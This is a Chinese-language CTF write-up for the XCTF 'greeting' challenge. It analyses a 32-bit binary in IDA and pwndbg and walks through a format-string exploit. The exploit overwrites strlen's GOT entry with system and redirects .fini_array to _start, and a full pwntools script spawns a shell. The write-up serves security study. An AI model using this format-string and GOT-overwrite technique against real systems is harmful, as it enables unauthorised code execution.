昨天好不容易装上pwndbg,总是因为最后./setup时报错,说python3.6找不到命令,在网上找了很多教程都没用,最后把了解到pwndbg相当于一个加强版的gdb,然后我就把gdb删了就顺利装上了😭
废话少说,回到题目~~
checksec
hunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec greeting
[*] '/home/hunter/PWN/XCTF/xctf_challenge/greeting'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
开启NX和Canary
IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-84h]
char v5; // [esp+5Ch] [ebp-44h]
unsigned int v6; // [esp+9Ch] [ebp-4h]
v6 = __readgsdword(0x14u);
printf("Please tell me your name... ");
if ( !getnline(&v5, 64) )
return puts("Don't ignore me ;( ");
sprintf(&s, "Nice to meet you, %s :)\n", &v5);
return printf(&s);
}
getline():
size_t __cdecl getnline(char *s, int n)
{
char *v3; // [esp+1Ch] [ebp-Ch]
fgets(s, n, stdin);
v3 = strchr(s, 10);
if ( v3 )
*v3 = 0;
return strlen(s);
}
nao():
int nao()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
return system("echo \"Hello, I'm nao\"!");
}
关键函数:
- getline就是DIY了一个读取函数,一直到换行符结束(0xa==10)读取,并最后将换行符换做截至符\x00
- nao函数,明显是一个hint,调用system函数输出:Hello, I’m nao
- 最后printf存在fmt漏洞
分析
我们来看看程序执行情况:
hunter@hunter:~/PWN/XCTF/xctf_challenge$ ./greeting
Hello, I'm nao!
Please tell me your name... AAAA
Nice to meet you, AAAA :)
结合IDA主函数分析,按理不应该出现:Hello, I’m nao! 在main函数中并没有调用nao函数的地方。
利用IDA查看交叉引用的功能:
继续进入查看:
text:08048708 loc_8048708: ; CODE XREF: __libc_csu_init+57↓j
.text:08048708 mov eax, [esp+2Ch+arg_8]
.text:0804870C mov [esp+2Ch+var_2C], ebp
.text:0804870F mov [esp+2Ch+var_24], eax
.text:08048713 mov eax, [esp+2Ch+arg_4]
.text:08048717 mov [esp+2Ch+var_28], eax
.text:0804871B call ds:(__frame_dummy_init_array_entry - 8049A28h)[ebx+edi*4] <====此处调用
.text:08048722 add edi, 1
.text:08048725 cmp edi, esi
.text:08048727 jnz short loc_8048708
.text:08048729
继续进入:
.init_array:0804992C __frame_dummy_init_array_entry dd offset frame_dummy
.init_array:0804992C ; DATA XREF: LOAD:0804809C↑o
.init_array:0804992C ; __libc_csu_init+23↑o ...
.init_array:0804992C ; Alternative name is '__init_array_start'
.init_array:08049930 dd offset nao
.init_array:08049930 _init_array ends
也就是说nao函数先是由libc_csu_init执行到call ds:(frame_dummy_init_array_entry - 8049A28h)[ebx+edi*4],然后在此地址上存放了nao函数的偏移,由此进行调用。
新姿势
我们在用gdb调试的时候,执行完程序不难发现程序会ret到libc_start_main,所以main函数并不是程序真正开始的地方。程序会先进一些初始化函数如libc_start_main才会调用main函数。
然而在调用初始化函数之前会先调用_start,而_start就是程序真正的入口(Enter Point)
初始化函数libc_csu_init是比较常见的,就是在这里上面的程序调用nao函数。
那么有初始话函数也就会有对应的末“始”化函数:libc_csu_fini。他们就像俩兄弟一样,很像
在程序中存在一种很神秘的段,其名为.init_array,此物存有函数指针,在进行libc_csu_init函数时,将会调用每一个指针。相似的,在程序中存在.fini_array段,也存放函数指针,在进行libc_csu_fini函数时便会调用每一个指针。这两处都是可写的 ,那么可以干坏事了(doge)
这里存放的都是香喷喷的指针
.init_array:0804992C ; ELF Initialization Function Table
.init_array:0804992C ; ===========================================================================
.init_array:0804992C
.init_array:0804992C ; Segment type: Pure data
.init_array:0804992C ; Segment permissions: Read/Write
.init_array:0804992C _init_array segment dword public 'DATA' use32
.init_array:0804992C assume cs:_init_array
.init_array:0804992C ;org 804992Ch
.init_array:0804992C __frame_dummy_init_array_entry dd offset frame_dummy
.init_array:0804992C ; DATA XREF: LOAD:0804809C↑o
.init_array:0804992C ; __libc_csu_init+23↑o ...
.init_array:0804992C ; Alternative name is '__init_array_start'
.init_array:08049930 dd offset nao
.init_array:08049930 _init_array ends
.init_array:08049930
.fini_array:08049934 ; ELF Termination Function Table
.fini_array:08049934 ; ===========================================================================
.fini_array:08049934
.fini_array:08049934 ; Segment type: Pure data
.fini_array:08049934 ; Segment permissions: Read/Write
.fini_array:08049934 _fini_array segment dword public 'DATA' use32
.fini_array:08049934 assume cs:_fini_array
.fini_array:08049934 ;org 8049934h
.fini_array:08049934 __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux
.fini_array:08049934 ; DATA XREF: __libc_csu_init+18↑o
.fini_array:08049934 _fini_array ends ; Alternative name is '__init_array_end'
.fini_array:08049934
利用点
- 存在fmt漏洞并且没有开启RELRO,可以对got表进行覆盖
- 有system函数,没有/bin/sh字符串,那么势必要进行两次输入,执行程序两次
- fini_array可以覆盖,控制程序流程
- payload最长46个字节
思路
- 构造payload将strlen的got表覆盖为system_plt
- 覆盖.fini_array的一处指针为start地址
- 读入/bin/sh直接获取shell
实现
因为payload长度有限制,所以不太适合用fmtstr_payload模块,必须自己精心构造
查看fini_array 0x08049934 处的指针:
.fini_array:08049934 __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux
__do_global_dtors_aux:
.text:080485A0 __do_global_dtors_aux proc near ; DATA XREF: .fini_array:__do_global_dtors_aux_fini_array_entry↓o
.text:080485A0 cmp ds:completed_6591, 0
.text:080485A7 jnz short locret_80485BC
.text:080485A9 push ebp
.text:080485AA mov ebp, esp
.text:080485AC sub esp, 8
.text:080485AF call deregister_tm_clones
.text:080485B4 mov ds:completed_6591, 1
.text:080485BB leave
所以指针的值为080485A0 ,用gdb查看更为直观
pwndbg> x/10x 0x08049934 <======fini_array
0x8049934: 0x080485a0 0x00000000 0x00000001 0x00000001
0x8049944: 0x0000000c 0x08048404 0x0000000d 0x08048780
0x8049954: 0x00000019 0x0804992c
pwndbg> x/10x 0x080485a0
0x80485a0 <__do_global_dtors_aux>: 0x9aa43d80 0x75000804 0xe5895513 0xe808ec83
0x80485b0 <__do_global_dtors_aux+16>: 0xffffff7c 0x9aa405c6 0xc9010804 0x9066c3f3
0x80485c0 <frame_dummy>: 0x049938a1 0x74c08508
pwndbg> x/10i 0x080485a0
0x80485a0 <__do_global_dtors_aux>: cmp BYTE PTR ds:0x8049aa4,0x0
0x80485a7 <__do_global_dtors_aux+7>: jne 0x80485bc <__do_global_dtors_aux+28>
0x80485a9 <__do_global_dtors_aux+9>: push ebp
所以我们需要的地址如下:
fini_array = 0x08049934 ===>0x080485A0
system_plt = 0x08048490
strlen_got = 0x08049A54 ====>strlen_addr
start = 0x080484F0
发现0x080485A0 地址和start地址只有最后两字节不同所以要打印的字符串最少(%n),然后就是向strlen_got中覆盖system_plt。
如果直接把0x08048490一次全部覆盖那么要打印:128MB的大小
In [20]: 0x08048490
Out[20]: 134513808
In [21]: 134513808/1024
Out[21]: 131361
In [22]: 131361/1024
Out[22]: 128
如果我们所有的试验都是在本机/虚拟机和docker之间进行,不会受到网络环境的影响。而在实际的比赛和漏洞利用环境中,一次性传输如此大量的数据可能会导致网络卡顿甚至中断连接。所以不能这么暴力,所以说还是得精心构造~~,要使打印的数据尽量少。
所以我们覆盖那些覆盖量少的地址,这样就能有效减少打印数据量。
那么应该是先让把fini_array 里面的地址覆盖为start,两个字节(hn).然后也分两个字节(hn)覆盖strlen_got里面的地址(strlen_addr)。注意这是小端序即高地址存放高字节数据,低地址存放低字节数据
举例:
var = 0x11223344,对于这个变量的最高字节为0x11,最低字节为0x44
(1)大端模式存储(存储地址为16位)
地址 数据
0x0004(高地址) 0x44
0x0003 0x33
0x0002 0x22
0x0001(低地址) 0x11
(2)小端模式存储(存储地址为16位)
地址 数据
0x0004(高地址) 0x11
0x0003 0x22
0x0002 0x33
0x0001(低地址) 0x44
差点忘了测偏移量了~~
hunter@hunter:~/PWN/XCTF/xctf_challenge$ ./greeting
Hello, I'm nao!
Please tell me your name... AABB.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Nice to meet you, AABB.0x80487d0.0xff91489c.(nil).(nil).(nil).(nil).0x6563694e.0x206f7420.0x7465656d.0x756f7920.0x4141202c.0x252e4242.0x70252e70.0x2e70252e.0x252e7025 :)
AA的ASCII的偏移为11,BB的ASCII的偏移为12,两者分开了,应该存入时栈没有对齐。
也可以在IDA伪码中算出偏移:
因为printf的s===>esp+0x1c. sprintf(&s, “Nice to meet you, %s :)\n”, &v5);函数使得我们的输入(v5)距离s为18.所以0x1c-0x4+18==42 42/4 = 10.2这也是为啥上面AABB分开的原因,我们可以先用两个padding对齐,然后在存入关键数据。
EXP
from pwn import*
context.log_level = 'debug'
sh = process('./greeting')
#sh = remote('220.249.52.133',41988)
sh.recv()
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54
start = 0x080484F0
payload = 'AA' #用来对齐的padding
payload += p32(strlen_got+2) #12 //从低地址覆盖到高地址,两个字节。覆盖量:0x0804
payload += p32(strlen_got) #13 //覆盖量:0x8490
payload += p32(fini_array) #14 //覆盖量:0x84F0
payload += '%2020c%12$hn%31884c%13$hn%96c%14$hn' #用hn就是让printf函数向目标地址最多写满两个字节,还有别忘了前面的输出也算上
gdb.attach(sh) ##补充,%hhn写1字节,%lln写8字节。
sh.sendline(payload)
sh.recv()
sh.sendline('/bin/sh')
sh.interactive()
结果
Hello, I'm nao!
Please tell me your name... $ /bin/sh
[DEBUG] Sent 0x8 bytes:
'/bin/sh\n'
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'hunter\n'
hunter
$
MASS
为啥不用fmt漏洞覆盖plt表,而时偏要覆盖got表?
因为plt存放的时指令,got表才是存放地址。比如把plt这里的jmp数据给覆盖成目标地址,那也没法跳转啊
pwndbg> x/10i 0x80484c0
0x80484c0 <strlen@plt>: jmp DWORD PTR ds:0x8049a54 <=======got表
0x80484c6 <strlen@plt+6>: push 0x40
0x80484cb <strlen@plt+11>: jmp 0x8048430
第一次执行strlen以后,这里就是存放真实地址,而且有plt来帮忙跳转,把这里的地址覆盖了岂不美哉(doge)
pwndbg> x/10x 0x8049a54
0x8049a54 <strlen@got.plt>: 0xf7dea900 0xf7d7dd90 0x080484e6 0x00000000
0x8049a64: 0x00000000 0x00000000 0x00000000 0x00000000
在这个got表存放了system_plt后就会跳到system_plt去执行。应该换成system_got也没问题。
参考资料:https://www.hacksec.cn/Penetration-test/1137.html
https://bbs.ichunqiu.com/thread-43624-1-1.html